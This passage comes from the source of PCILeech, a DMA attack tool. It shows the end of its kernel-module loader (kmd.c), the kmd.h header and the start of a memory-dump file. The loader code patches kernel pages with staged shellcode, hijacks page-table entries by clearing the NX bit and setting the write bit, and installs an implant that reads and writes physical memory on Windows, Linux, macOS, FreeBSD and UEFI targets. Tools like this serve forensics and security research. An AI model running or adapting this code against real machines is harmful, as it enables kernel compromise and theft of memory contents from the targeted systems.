BOOL fResultCB = TRUE;\n    HANDLE hCallback = NULL;\n    ctxMain->pk->_op = op;\n    if(!LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData)) {\n        return FALSE;\n    }\n    do {\n        cFailCount = 0;\n        while(!DeviceReadDMA_Retry(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData)) {\n            cFailCount++;\n            if(cFailCount < 10) { usleep(250); continue; }\n            if(cFailCount < 20) { SwitchToThread(); continue; }\n            if(cFailCount < 30) { Sleep(100); continue; }\n            Exec_CallbackClose(hCallback);\n            return FALSE;\n        }\n        if((op != KMD_CMD_TERMINATE) && (op != KMD_CMD_MEM_INFO) && (!ctxMain->pk || ((ctxMain->pk->MAGIC != KMDDATA_MAGIC) && (ctxMain->pk->MAGIC != KMDDATA_MAGIC_PARTIAL)))) {\n            printf(\"PCILEECH: FAIL: KMDDATA corruption! - bit errors? Address: 0x%08x. Terminating.\\n\", ctxMain->phKMD->dwPageAddr32);\n            LcClose(ctxMain->hLC);\n            ExitProcess(0);\n        }\n        if(ctxMain->pk->_op == KMD_CMD_EXEC_EXTENDED) {\n            fResultCB = Exec_Callback(&hCallback);\n        }\n    } while(((ctxMain->pk->_op != KMD_CMD_COMPLETED) || (ctxMain->pk->_status != 1)) && (ctxMain->pk->_status < 0x0fffffff) && fResultCB);\n    if(hCallback) { Exec_CallbackClose(hCallback); }\n    return TRUE;\n}\n\nVOID KMD_PhysicalMemoryMapDisplay(_In_ PKMDHANDLE phKMD)\n{\n    QWORD i;\n    PHYSICAL_MEMORY_RANGE pmr;\n    printf(\"Kernel reported memory map below:\\n START              END               #PAGES\\n\");\n    for(i = 0; i < phKMD->cPhysicalMap; i++) {\n        pmr = phKMD->pPhysicalMap[i];\n        printf(\n            \" %016llx - %016llx  %08llx\\n\",\n            pmr.BaseAddress,\n            pmr.BaseAddress + pmr.NumberOfBytes - 1,\n            pmr.NumberOfBytes / 0x1000);\n    }\n    printf(\"----------------------------------------------\\n\");\n}\n\nVOID KMD_CheckMigrationStatus()\n{\n    DWORD i;\n    // check migration:\n    for(i = 0; i < 25; i++) {\n        LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData);\n        if(ctxMain->pk->MAGIC == KMDDATA_MAGIC) { break; }\n        Sleep(10);\n    }\n    if((ctxMain->pk->OperatingSystem >> 32) == 0xffffffff) {\n        // migration to new KMDDATA buffer:\n        ctxMain->phKMD->dwPageAddr32 = (DWORD)ctxMain->pk->OperatingSystem;\n        printf(\"INFO: PA KMD BASE (MIGRATED):  0x%08x\\n\", (DWORD)ctxMain->pk->OperatingSystem);\n        for(i = 0; i < 25; i++) {\n            LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData);\n            if(ctxMain->pk->MAGIC == KMDDATA_MAGIC) { break; }\n            Sleep(10);\n        }\n    }\n}\n\n_Success_(return)\nBOOL KMD_GetPhysicalMemoryMap()\n{\n    QWORD qwMaxMemoryAddress;\n    KMD_SubmitCommand(KMD_CMD_MEM_INFO);\n    if(!ctxMain->pk->_result || !ctxMain->pk->_size) {\n        KMD_CheckMigrationStatus();\n        KMD_SubmitCommand(KMD_CMD_MEM_INFO);\n        if(!ctxMain->pk->_result || !ctxMain->pk->_size) {\n            return FALSE;\n        }\n    }\n    ctxMain->phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (ctxMain->pk->_size + 0x1000) & 0xfffff000);\n    if(!ctxMain->phKMD->pPhysicalMap) { return FALSE; }\n    DeviceReadDMA(ctxMain->pk->DMAAddrPhysical, (DWORD)((ctxMain->pk->_size + 0x1000) & 0xfffff000), (PBYTE)ctxMain->phKMD->pPhysicalMap, NULL);\n    ctxMain->phKMD->cPhysicalMap = ctxMain->pk->_size / sizeof(PHYSICAL_MEMORY_RANGE);\n    if(ctxMain->phKMD->cPhysicalMap > 0x2000) { return FALSE; }\n    // adjust max memory according to physical memory\n    qwMaxMemoryAddress = ctxMain->phKMD->pPhysicalMap[ctxMain->phKMD->cPhysicalMap - 1].BaseAddress;\n    qwMaxMemoryAddress += ctxMain->phKMD->pPhysicalMap[ctxMain->phKMD->cPhysicalMap - 1].NumberOfBytes;\n    if(qwMaxMemoryAddress > 0x0000ffffffffffff) { return FALSE; }\n    if((ctxMain->cfg.paAddrMax == 0) || (ctxMain->cfg.paAddrMax > qwMaxMemoryAddress)) {\n        ctxMain->cfg.paAddrMax = qwMaxMemoryAddress - 1;\n    }\n    if(ctxMain->cfg.fVerbose) {\n        KMD_PhysicalMemoryMapDisplay(ctxMain->phKMD);\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL KMD_SetupStage3(_In_ DWORD dwPhysicalAddress, _In_ PBYTE pbStage3, _In_ DWORD cbStage3)\n{\n    //------------------------------------------------\n    // 1: Set up kernel module shellcode (stage3)\n    //------------------------------------------------\n    if(dwPhysicalAddress == 0xffffffff) {\n        printf(\"KMD: Failed. Stage2 shellcode error.\\n\");\n        return FALSE;\n    }\n    if(ctxMain->cfg.fVerbose) {\n        printf(\"INFO: PA KMD BASE:  0x%08x\\n\", dwPhysicalAddress);\n    }\n    LcWrite(ctxMain->hLC, dwPhysicalAddress + 0x1000ULL, cbStage3, pbStage3);\n    ctxMain->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));\n    if(!ctxMain->phKMD) { return FALSE; }\n    ctxMain->phKMD->pk = (PKMDDATA)ctxMain->phKMD->pbPageData;\n    ctxMain->pk = ctxMain->phKMD->pk;\n    ctxMain->phKMD->dwPageAddr32 = dwPhysicalAddress;\n    LcRead(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData);\n    //------------------------------------------------\n    // 2: Retrieve physical memory range map and complete open action.\n    //------------------------------------------------\n    if(!KMD_GetPhysicalMemoryMap()) {\n        printf(\"KMD: Failed. Failed to retrieve physical memory map.\\n\");\n        KMDClose();\n        return FALSE;\n    }\n    ctxMain->cfg.paKMD = ctxMain->phKMD->dwPageAddr32;\n    if(ctxMain->pk->MAGIC != KMDDATA_MAGIC) {\n        ctxMain->pk->MAGIC = KMDDATA_MAGIC;\n        LcWrite(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, sizeof(QWORD), ctxMain->phKMD->pbPageData);\n    }\n    return TRUE;\n}\n\n_Success_(return)\nBOOL KMDReadMemory_DMABufferSized(_In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)\n{\n    BOOL result;\n    if(!KMD_IsRangeInPhysicalMap(ctxMain->phKMD, qwAddress, cb) && !ctxMain->cfg.fForceRW) { return FALSE; }\n    ctxMain->pk->_size = cb;\n    ctxMain->pk->_address = qwAddress;\n    result = KMD_SubmitCommand(KMD_CMD_VOID);\n    if(!result) { return FALSE; }\n    result = KMD_SubmitCommand(KMD_CMD_READ);\n    if(!result) { return FALSE; }\n    return (cb == DeviceReadDMA(ctxMain->pk->DMAAddrPhysical, cb, pb, NULL)) && ctxMain->pk->_result;\n}\n\n_Success_(return)\nBOOL KMDWriteMemory_DMABufferSized(_In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb)\n{\n    BOOL result;\n    if(!KMD_IsRangeInPhysicalMap(ctxMain->phKMD, qwAddress, cb) && !ctxMain->cfg.fForceRW) { return FALSE; }\n    result = LcWrite(ctxMain->hLC, ctxMain->pk->DMAAddrPhysical, cb, pb);\n    if(!result) { return FALSE; }\n    ctxMain->pk->_size = cb;\n    ctxMain->pk->_address = qwAddress;\n    result = KMD_SubmitCommand( KMD_CMD_VOID);\n    if(!result) { return FALSE; }\n    return KMD_SubmitCommand(KMD_CMD_WRITE) && ctxMain->pk->_result;\n}\n\n_Success_(return)\nBOOL KMDReadMemory(_In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb)\n{\n    DWORD dwDMABufferSize = (DWORD)ctxMain->pk->DMASizeBuffer;\n    DWORD o = cb;\n    dwDMABufferSize = dwDMABufferSize ? dwDMABufferSize : 0x01000000;\n    while(TRUE) {\n        if(o <= dwDMABufferSize) {\n            return KMDReadMemory_DMABufferSized(qwAddress + cb - o, pb + cb - o, o);\n        } else if(!KMDReadMemory_DMABufferSized(qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) {\n            return FALSE;\n        }\n        o -= dwDMABufferSize;\n    }\n}\n\n_Success_(return)\nBOOL KMDWriteMemory(_In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb)\n{\n    DWORD dwDMABufferSize = (DWORD)ctxMain->pk->DMASizeBuffer;\n    DWORD o = cb;\n    dwDMABufferSize = dwDMABufferSize ? dwDMABufferSize : 0x01000000;\n    while(TRUE) {\n        if(o <= dwDMABufferSize) {\n            return KMDWriteMemory_DMABufferSized(qwAddress + cb - o, pb + cb - o, o);\n        } else if(!KMDWriteMemory_DMABufferSized(qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) {\n            return FALSE;\n        }\n        o -= dwDMABufferSize;\n    }\n}\n\nVOID KMDUnload()\n{\n    if(ctxMain->phKMD) {\n        KMD_SubmitCommand(KMD_CMD_TERMINATE);\n        KMDClose();\n    }\n}\n\nVOID KMDClose()\n{\n    if(ctxMain->phKMD) {\n        LocalFree(ctxMain->phKMD->pPhysicalMap);\n        LocalFree(ctxMain->phKMD);\n        ctxMain->phKMD = NULL;\n        ctxMain->pk = NULL;\n    }\n}\n\n_Success_(return)\nBOOL KMDOpen_MemoryScan()\n{\n    PSIGNATURE pSignature = NULL, pSignatures = NULL;\n    DWORD dwSignatureMatchIdx, cSignatures = CONFIG_MAX_SIGNATURES;\n    PKMDHANDLE_S12 ph1 = NULL, ph2 = NULL;\n    PDWORD pdwPhysicalAddress;\n    BOOL fResult = FALSE;\n    if(!(ph1 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; }\n    if(!(ph2 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; }\n    if(!(pSignatures = LocalAlloc(LMEM_ZEROINIT, CONFIG_MAX_SIGNATURES * sizeof(SIGNATURE)))) { goto fail; }\n    //------------------------------------------------\n    // 1: Load signature\n    //------------------------------------------------\n    if(0 == _stricmp(ctxMain->cfg.szKMDName, \"LINUX_X64_46\")) {\n        if(!KMD_Linux46KernelSeekSignature(&pSignatures[0])) {\n            printf(\"KMD: Failed. Error locating generic linux kernel signature.\\n\");\n            goto fail;\n        }\n        pSignature = &pSignatures[0];\n    } else if((0 == _stricmp(ctxMain->cfg.szKMDName, \"LINUX_X64_48\")) || (0 == _stricmp(ctxMain->cfg.szKMDName, \"LINUX_X64_MAP\"))) {\n        if(!KMD_Linux48KernelSeekSignature(&pSignatures[0])) {\n            printf(\"KMD: Failed. Error locating generic linux kernel signature.\\n\");\n            goto fail;\n        }\n        pSignature = &pSignatures[0];\n    } else if((0 == _stricmp(ctxMain->cfg.szKMDName, \"MACOS\")) || (0 == _stricmp(ctxMain->cfg.szKMDName, \"OSX_X64\"))) {\n        if(!KMD_MacOSKernelSeekSignature(&pSignatures[0])) {\n            printf(\"KMD: Failed. Error locating generic macOS kernel signature.\\n\");\n            goto fail;\n        }\n        pSignature = &pSignatures[0];\n    } else if(0 == _stricmp(ctxMain->cfg.szKMDName, \"FREEBSD_X64\")) {\n        if(!KMD_FreeBSDKernelSeekSignature(&pSignatures[0])) {\n            printf(\"KMD: Failed. Error locating generic FreeBSD kernel signature.\\n\");\n            goto fail;\n        }\n        pSignature = &pSignatures[0];\n    } else {\n        if(!Util_LoadSignatures(ctxMain->cfg.szKMDName, \".kmd\", pSignatures, &cSignatures, 5)) {\n            printf(\"KMD: Failed. Error loading signatures.\\n\");\n            goto fail;\n        }\n        //------------------------------------------------\n        // 2: Locate patch location (scan memory).\n        //------------------------------------------------\n        if(!KMD_FindSignature1(pSignatures, cSignatures, &dwSignatureMatchIdx)) {\n            printf(\"KMD: Failed. Could not find signature in memory.\\n\");\n            goto fail;\n        }\n        pSignature = &pSignatures[dwSignatureMatchIdx];\n    }\n    if(!pSignature->chunk[2].cb || !pSignature->chunk[3].cb) {\n        printf(\"KMD: Failed. Error loading shellcode.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------\n    // 3: Set up patch data.\n    //------------------------------------------------\n    ph1->qwPageAddr = pSignature->chunk[0].qwAddress;\n    ph2->qwPageAddr = pSignature->chunk[1].qwAddress;\n    ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset;\n    ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset;\n    if(ph2->dwPageOffset + pSignature->chunk[2].cb > 0x1000) {\n        printf(\"KMD: Failed. Stage #2 too large.\\n\");\n        goto fail;\n    }\n    DeviceReadDMA_Retry(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbOrig);\n    DeviceReadDMA_Retry(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbOrig);\n    memcpy(ph1->pbPatch, ph1->pbOrig, 4096);\n    memcpy(ph2->pbPatch, ph2->pbOrig, 4096);\n    memcpy(ph1->pbPatch + ph1->dwPageOffset, pSignature->chunk[2].pb, pSignature->chunk[2].cb);\n    memcpy(ph2->pbPatch + ph2->dwPageOffset, pSignature->chunk[3].pb, pSignature->chunk[3].cb);\n    // patch jump offset in stage1\n    *(PDWORD)(ph1->pbPatch + ph1->dwPageOffset + STAGE1_OFFSET_CALL_ADD) += pSignature->chunk[3].cbOffset - pSignature->chunk[2].cbOffset;\n    // patch original stage1 data in stage2 (needed for stage1 restore)\n    memcpy(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_FN_STAGE1_ORIG, ph1->pbOrig + ph1->dwPageOffset, 8);\n    // patch offset to extra function relative to stage2 entry point: windows = n/a, linux=kallsyms_lookup_name, mac=kernel_mach-o_header\n    *(PDWORD)(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_EXTRADATA1) = pSignature->chunk[4].cbOffset - pSignature->chunk[3].cbOffset;\n    //------------------------------------------------\n    // 4: Write patched data to memory.\n    //------------------------------------------------\n    if(!DeviceWriteDMA_Verify(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbPatch)) {\n        printf(\"KMD: Failed. Signature found but unable write #2.\\n\");\n        goto fail;\n    }\n    if(!LcWrite(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbPatch)) { // stage1 (must be written after stage2)\n        printf(\"KMD: Failed. Signature found but unable write #1.\\n\");\n        goto fail;\n    }\n    printf(\"KMD: Code inserted into the kernel - Waiting to receive execution.\\n\");\n    //------------------------------------------------\n    // 5: wait for patch to reveive execution.\n    //------------------------------------------------\n    pdwPhysicalAddress = (PDWORD)(ph2->pbLatest + ph2->dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR);\n    do {\n        Sleep(100);\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbLatest)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            goto fail;\n        }\n    } while(!*pdwPhysicalAddress);\n    printf(\"KMD: Execution received - continuing ...\\n\");\n    //------------------------------------------------\n    // 6: Restore hooks to original.\n    //------------------------------------------------\n    LcWrite(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbOrig);\n    //------------------------------------------------\n    // 7: Set up kernel module shellcode (stage3) and finish.\n    //------------------------------------------------\n    fResult = KMD_SetupStage3(*pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);\nfail:\n    LocalFree(ph1);\n    LocalFree(ph2);\n    LocalFree(pSignature);\n    return fResult;\n}\n\n_Success_(return)\nBOOL KMDOpen_PageTableHijack()\n{\n    QWORD qwCR3 = ctxMain->cfg.paCR3;\n    QWORD qwModuleBase;\n    PSIGNATURE pSignature, pSignatures = NULL;\n    DWORD cSignatures = CONFIG_MAX_SIGNATURES;\n    PKMDHANDLE_S12 ph1 = NULL, ph2 = NULL;\n    PSIGNATUREPTE pSignaturePTEs;\n    QWORD cSignaturePTEs;\n    PDWORD pdwPhysicalAddress;\n    BOOL result, fResult = FALSE;\n    if(!(ph1 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; }\n    if(!(ph2 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; }\n    if(!(pSignatures = LocalAlloc(LMEM_ZEROINIT, CONFIG_MAX_SIGNATURES * sizeof(SIGNATURE)))) { goto fail; }\n    //------------------------------------------------\n    // 1: Load signature and patch data.\n    //------------------------------------------------\n    result = Util_LoadSignatures(ctxMain->cfg.szKMDName, \".kmd\", pSignatures, &cSignatures, 6);\n    if(!result) {\n        printf(\"KMD: Failed. Error loading signatures.\\n\");\n        goto fail;\n    }\n    if(cSignatures != 1) {\n        printf(\"KMD: Failed. Singature count differs from 1. Exactly one signature must be loaded.\\n\");\n        goto fail;\n    }\n    pSignature = &pSignatures[0];\n    if(pSignature->chunk[0].cb != 4096 || pSignature->chunk[1].cb != 4096) {\n        printf(\"KMD: Failed. Signatures in PTE mode must be 4096 bytes long.\\n\");\n        goto fail;\n    }\n    pSignaturePTEs = (PSIGNATUREPTE)pSignature->chunk[5].pb;\n    cSignaturePTEs = pSignature->chunk[5].cb / sizeof(SIGNATUREPTE);\n    //------------------------------------------------\n    // 2: Locate patch location PTEs.\n    //------------------------------------------------\n    if(ctxMain->cfg.fPageTableScan) {\n        printf(\"KMD: Searching for PTE location ...\\n\");\n    }\n    result = Util_PageTable_FindSignatureBase(&qwCR3, pSignaturePTEs, cSignaturePTEs, &qwModuleBase);\n    if(!result) {\n        printf(\"KMD: Failed. Could not find module base by PTE search.\\n\");\n        goto fail;\n    }\n    result = Util_PageTable_ReadPTE(qwCR3, qwModuleBase + pSignature->chunk[2].cbOffset, &ph1->qwPTEOrig, &ph1->qwPTEAddrPhys);\n    if(!result) {\n        printf(\"KMD: Failed. Could not access PTE #1.\\n\");\n        goto fail;\n    }\n    result = Util_PageTable_ReadPTE(qwCR3, qwModuleBase + pSignature->chunk[3].cbOffset, &ph2->qwPTEOrig, &ph2->qwPTEAddrPhys);\n    if(!result) {\n        printf(\"KMD: Failed. Could not access PTE #2.\\n\");\n        goto fail;\n    }\n    //------------------------------------------------\n    // 3: Set up patch data.\n    //------------------------------------------------\n    // hijack \"random\" page in memory if target page is above 4GB - dangerous!!!\n    ph1->qwPageAddr = (ph1->qwPTEOrig < 0x100000000) ? (ph1->qwPTEOrig & 0xfffff000) : 0x90000;\n    ph2->qwPageAddr = (ph2->qwPTEOrig < 0x100000000) ? (ph2->qwPTEOrig & 0xfffff000) : 0x91000;\n    ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset;\n    ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset;\n    memcpy(ph1->pbPatch, pSignature->chunk[0].pb, 4096);\n    memcpy(ph2->pbPatch, pSignature->chunk[1].pb, 4096);\n    memcpy(ph1->pbPatch + ph1->dwPageOffset, pSignature->chunk[2].pb, pSignature->chunk[2].cb);\n    memcpy(ph2->pbPatch + ph2->dwPageOffset, pSignature->chunk[3].pb, pSignature->chunk[3].cb);\n    // patch jump offset in stage1\n    *(PDWORD)(ph1->pbPatch + ph1->dwPageOffset + STAGE1_OFFSET_CALL_ADD) += pSignature->chunk[3].cbOffset - pSignature->chunk[2].cbOffset;\n    // patch original stage1 data in stage2 (needed for stage1 restore)\n    memcpy(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_FN_STAGE1_ORIG, pSignature->chunk[0].pb + ph1->dwPageOffset, 8);\n    // patch offset to extra function relative to stage2 entry point: windows = n/a, linux=kallsyms_lookup_name\n    *(PDWORD)(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_EXTRADATA1) = pSignature->chunk[4].cbOffset - pSignature->chunk[3].cbOffset;\n    // calculate new PTEs\n    ph1->qwPTE = 0x7ff0000000000fff & ph1->qwPTEOrig; // Strip NX-bit and previous physical address\n    ph2->qwPTE = 0x7ff0000000000fff & ph2->qwPTEOrig; // Strip NX-bit and previous physical address\n    ph1->qwPTE |= 0x00000002; // set write\n    ph2->qwPTE |= 0x00000002; // set write\n    ph1->qwPTE |= 0xfffff000 & ph1->qwPageAddr;\n    ph2->qwPTE |= 0xfffff000 & ph2->qwPageAddr;\n    //------------------------------------------------\n    // 4: Write patched data and PTEs to memory.\n    //------------------------------------------------\n    LcRead(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbOrig);\n    LcRead(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbOrig);\n    if(!DeviceWriteDMA_Verify(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbPatch) ||\n        !DeviceWriteDMA_Verify(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbPatch)) {\n        printf(\"KMD: Failed. Signature found but unable write.\\n\");\n        goto fail;\n    }\n    LcWrite(ctxMain->hLC, ph2->qwPTEAddrPhys, sizeof(QWORD), (PBYTE)&ph2->qwPTE);\n    Sleep(250);\n    LcWrite(ctxMain->hLC, ph1->qwPTEAddrPhys, sizeof(QWORD), (PBYTE)&ph1->qwPTE);\n    //------------------------------------------------\n    // 5: wait for patch to reveive execution.\n    //------------------------------------------------\n    printf(\"KMD: Page Table hijacked - Waiting to receive execution.\\n\");\n    pdwPhysicalAddress = (PDWORD)(ph2->pbLatest + ph2->dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR);\n    do {\n        Sleep(100);\n        if(!DeviceReadDMA_Retry(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbLatest)) {\n            printf(\"KMD: Failed. DMA Read failed while waiting to receive physical address.\\n\");\n            goto fail;\n        }\n    } while(!*pdwPhysicalAddress);\n    printf(\"KMD: Execution received - continuing ...\\n\");\n    //------------------------------------------------\n    // 6: Restore hijacked memory pages.\n    //------------------------------------------------\n    LcWrite(ctxMain->hLC, ph1->qwPTEAddrPhys, sizeof(QWORD), (PBYTE)&ph1->qwPTEOrig);\n    LcWrite(ctxMain->hLC, ph2->qwPTEAddrPhys, sizeof(QWORD), (PBYTE)&ph2->qwPTEOrig);\n    Sleep(100);\n    LcWrite(ctxMain->hLC, ph1->qwPageAddr, 4096, ph1->pbOrig);\n    LcWrite(ctxMain->hLC, ph2->qwPageAddr, 4096, ph2->pbOrig);\n    //------------------------------------------------\n    // 7: Set up kernel module shellcode (stage3) and finish.\n    //------------------------------------------------\n    fResult = KMD_SetupStage3(*pdwPhysicalAddress, pSignature->chunk[4].pb, 4096);\nfail:\n    LocalFree(ph1);\n    LocalFree(ph2);\n    LocalFree(pSignatures);\n    return fResult;\n}\n\n_Success_(return)\nBOOL KMD_SetupStage3_FromPartial()\n{\n    BYTE pb[4096];\n    DWORD cb;\n    if(ctxMain->pk->OperatingSystem == KMDDATA_OPERATING_SYSTEM_LINUX) {\n        return\n            Util_ParseHexFileBuiltin(\"DEFAULT_LINUX_X64_STAGE3\", pb, 4096, &cb) &&\n            KMD_SetupStage3(ctxMain->phKMD->dwPageAddr32, pb, 4096);\n    } else {\n        printf(\"KMD: Failed. Not a valid KMD @ address: 0x%08x\\n\", ctxMain->phKMD->dwPageAddr32);\n        return FALSE;\n    }\n}\n\n_Success_(return)\nBOOL KMDOpen_LoadExisting()\n{\n    //------------------------------------------------\n    // 1: Set up handle to existing shellcode\n    //------------------------------------------------\n    ctxMain->phKMD = (PKMDHANDLE)LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE));\n    if(!ctxMain->phKMD) { return FALSE; }\n    ctxMain->phKMD->dwPageAddr32 = (DWORD)ctxMain->cfg.paKMD;\n    ctxMain->pk = ctxMain->phKMD->pk = (PKMDDATA)ctxMain->phKMD->pbPageData;\n    if(!DeviceReadDMA_Retry(ctxMain->hLC, ctxMain->phKMD->dwPageAddr32, 4096, ctxMain->phKMD->pbPageData)) {\n        printf(\"KMD: Failed. Read failed @ address: 0x%08x\\n\", ctxMain->phKMD->dwPageAddr32);\n        goto fail;\n    }\n    if(ctxMain->phKMD->pk->MAGIC == KMDDATA_MAGIC_PARTIAL) {\n        return KMD_SetupStage3_FromPartial();\n    }\n    if(ctxMain->phKMD->pk->MAGIC != KMDDATA_MAGIC) {\n        printf(\"KMD: Failed. Not a valid KMD @ address: 0x%08x\\n\", ctxMain->phKMD->dwPageAddr32);\n        goto fail;\n    }\n    //------------------------------------------------\n    // 2: Retrieve physical memory range map and complete open action.\n    //------------------------------------------------\n    if(!KMD_GetPhysicalMemoryMap()) {\n        printf(\"KMD: Failed. Failed to retrieve physical memory map.\\n\");\n        goto fail;\n    }\n    return TRUE;\nfail:\n    KMDClose();\n    return FALSE;\n}\n\n_Success_(return)\nBOOL KMDOpen()\n{\n    if(ctxMain->cfg.paKMD) {\n        return KMDOpen_LoadExisting();\n    } else if(ctxMain->cfg.paCR3 || ctxMain->cfg.fPageTableScan) {\n        return KMDOpen_PageTableHijack();\n    } else if(0 == _stricmp(ctxMain->cfg.szKMDName, \"WIN10_X64\")) {\n        return KMDOpen_HalHijack();\n    } else if(0 == _stricmp(ctxMain->cfg.szKMDName, \"WIN10_X64_2\")) {\n        return KMDOpen_WINX64_2_VMM();\n    } else if((0 == _stricmp(ctxMain->cfg.szKMDName, \"WIN10_X64_3\")) || (0 == _stricmp(ctxMain->cfg.szKMDName, \"WIN11_X64\"))) {\n        return KMDOpen_WINX64_3_VMM();\n    } else if(0 == _stricmp(ctxMain->cfg.szKMDName, \"LINUX_X64_EFI\")) {\n        return KMDOpen_LinuxEfiRuntimeServicesHijack();\n    } else if(0 == _stricmp(ctxMain->cfg.szKMDName, \"UEFI_EXIT_BOOT_SERVICES\")) {\n        return KMDOpen_UEFI(0xe8 /* ExitBootServices */);\n    } else if(0 == _stricmp(ctxMain->cfg.szKMDName, \"UEFI_SIGNAL_EVENT\")) {\n        return KMDOpen_UEFI(0x68 /* ??? */);\n    } else {\n        return KMDOpen_MemoryScan();\n    }\n}\n"
  },
  {
    "path": "pcileech/kmd.h",
    "content": "// kmd.h : definitions related to operating systems kernel modules functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#ifndef __KMD_H__\n#define __KMD_H__\n#include \"pcileech.h\"\n\n/*\n* Open a kernel module (KMD). This can be done in multiple ways as specified in\n* the configuration data.\n* -- return\n*/\n_Success_(return)\nBOOL KMDOpen();\n\n/*\n* Unload an active kernel module from the target system and perform various\n* cleanup tasks.\n*/\nVOID KMDUnload();\n\n/*\n* Clean up and free memory related to a kernel module without unloading the\n* kernel module from the target system.\n*/\nVOID KMDClose();\n\n/*\n* Read physical memory from the target system using an active KMD as a proxy.\n* -- qwAddress = physical address in target system to read.\n* -- pb = pre-allocated buffer to place result in.\n* -- cb = length of data to read, must not be larger than pb.\n* -- return\n*/\n_Success_(return)\nBOOL KMDReadMemory(_In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb);\n\n/*\n* Write physical memory to the target system using an active KMD as a proxy.\n* -- qwAddress = the physical address to write to in the target system.\n* -- pb = bytes to write\n* -- cb = number of bytes to write.\n* -- return TRUE on success, otherwise FALSE.\n*/\n_Success_(return)\nBOOL KMDWriteMemory(_In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb);\n\n/*\n* Submit a command to an already loaded kernel module.\n* -- op = the command (opcode) to submit for processing.\n* -- return TRUE on success, otherwise FALSE.\n*/\n_Success_(return)\nBOOL KMD_SubmitCommand(_In_ QWORD op);\n\n#endif /* __KMD_H__ */\n"
  },
  {
    "path": "pcileech/memdump.c",
    "content": "// memdump.c : implementation related to memory dumping functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include <leechcore.h>\n#include \"memdump.h\"\n#include \"device.h\"\n#include \"statistics.h\"\n#include \"util.h\"\n#include \"vmmx.h\"\n#include <vmmdll.h>\n#ifdef WIN32\n#include <io.h>\n#endif /* WIN32 */\n\n#define MEMDUMP_DATABUFFER_SIZE     0x01000000          // 16MB\n#define MEMDUMP_4GB                 0x100000000\n#define MEMDUMP_NUM_BUFFER          3\n\n\ntypedef struct tdMEMDUMP_FILEWRITE_DATA {\n    QWORD paMin;\n    QWORD pa;\n    DWORD cb;\n    BYTE pb[MEMDUMP_DATABUFFER_SIZE];\n} MEMDUMP_FILEWRITE_DATA, *PMEMDUMP_FILEWRITE_DATA;\n\ntypedef struct tdMEMDUMP_FILEWRITE {\n    FILE *hFile;\n    BOOL fFileNone;\n    BOOL fValid;\n    BOOL fTerminated;\n    QWORD iRead;    // index of reader thread\n    QWORD iWrite;   // index of writer thread\n    MEMDUMP_FILEWRITE_DATA Data[MEMDUMP_NUM_BUFFER];\n} MEMDUMP_FILEWRITE, *PMEMDUMP_FILEWRITE;\n\nVOID MemoryDump_SetOutFileName()\n{\n    SYSTEMTIME st;\n    if(ctxMain->cfg.fOutFile && ctxMain->cfg.szFileOut[0] == 0) {\n        GetLocalTime(&st);\n        _snprintf_s(\n            ctxMain->cfg.szFileOut,\n            MAX_PATH,\n            _TRUNCATE,\n            \"pcileech-%llx-%llx-%i%02i%02i-%02i%02i%02i.raw\",\n            ctxMain->cfg.paAddrMin,\n            ctxMain->cfg.paAddrMax,\n            st.wYear,\n            st.wMonth,\n            st.wDay,\n            st.wHour,\n            st.wMinute,\n            st.wSecond);\n    }\n}\n\nDWORD WINAPI MemoryDump_File_ThreadProc(_In_ 